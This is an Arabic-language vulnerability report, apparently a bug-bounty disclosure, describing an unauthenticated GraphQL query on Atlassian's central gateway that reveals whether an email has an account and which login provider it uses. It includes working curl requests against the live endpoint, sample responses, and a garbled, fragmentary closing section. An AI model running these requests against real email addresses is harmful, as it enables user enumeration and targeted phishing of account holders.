
CVE-2026-XXXX: Oracle تعداد البريد الإلكتروني في Atlassian GraphQL (CWE-204، CVSS 5.3 متوسطة)
بوابة أطلسيان سنترال GraphQL (api.atlassian.com/graphql)
CWE-204: تباين الاستجابة الملحوظ — ثغرة تعداد البريد الإلكتروني
متوسطة — CVSS 5.3 AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
استعلام GraphQL loomUnauthenticated_primaryAuthTypeForEmail على بوابة أطلسيان المركزية GraphQL يُرجع استجابات مختلفة اعتمادًا على ما إذا كان عنوان البريد الإلكتروني مسجلاً لدى أطلسيان، مما يسمح بتعداد المستخدمين دون مصادقة.
بريد إلكتروني مسجّل ← يُرجع authType (مثل workos, password, google) وURI إعادة التوجيه
بريد إلكتروني غير مسجّل ← يُرجع authType: "none" بدون URI إعادة توجيه
لا تتطلب أي مصادقة. يتضمن اسم الاستعلام كلمة "Unauthenticated" — وهو متعمد كاستعلام عام، لكنه لا ينبغي أن يكشف ما إذا كان عنوان بريد إلكتروني عشوائي مرتبطًا بحساب أطلسيان أم لا.
https://api.atlassian.com/graphqlcurl -s "https://api.atlassian.com/graphql" \
-H "Content-Type: application/json" \
-d '{"query":"query Test { loomUnauthenticated_primaryAuthTypeForEmail(email: \"[email protected]\") { authType hasActiveMemberships redirectUri } }"}'
الاستجابة:
{
"data": {
"loomUnauthenticated_primaryAuthTypeForEmail": {
"authType": "workos",
"hasActiveMemberships": false,
"redirectUri": "https://www.loom.com/api/auth/workos?email=admin%40atlassian.com"
}
}
}
curl -s "https://api.atlassian.com/graphql" \
-H "Content-Type: application/json" \
-d '{"query":"query Test { loomUnauthenticated_primaryAuthTypeForEmail(email: \"[email protected]\") { authType } }"}'
الاستجابة:
{
"data": {
"loomUnauthenticated_primaryAuthTypeForEmail": {
"authType": "none"
}
}
}
authType: "workos" يؤكد أن البريد الإلكتروني يستخدم WorkOS SSO. authType: "google" أو authType: "password" سيكشف طريقة المصادقة. هذا يتيح التصيد الموجّه بدقة.
يمكن لمهاجم دون مصادقة:
لا يطبّق استعلام loomUnauthenticated_primaryAuthTypeForEmail أي تحديد لمعدل الطلبات ويعيد معلومات مزوّد المصادقة لأي بريد إلكتروني دون مصادقة. وبينما هذه النقطة مقصود أن تكون دون مصادقة (لتدفق تسجيل Loom)، فإنها تكشف ما إذا كان للبريد الإلكتروني حساب وما هو مزوّد المصادقة الذي يستخدمه.
بعد اختبارات معمّقة، تم إبطال هذه الادعاءات:
aaid: "unidentified")ValidationError)unidentified)Wh4l3X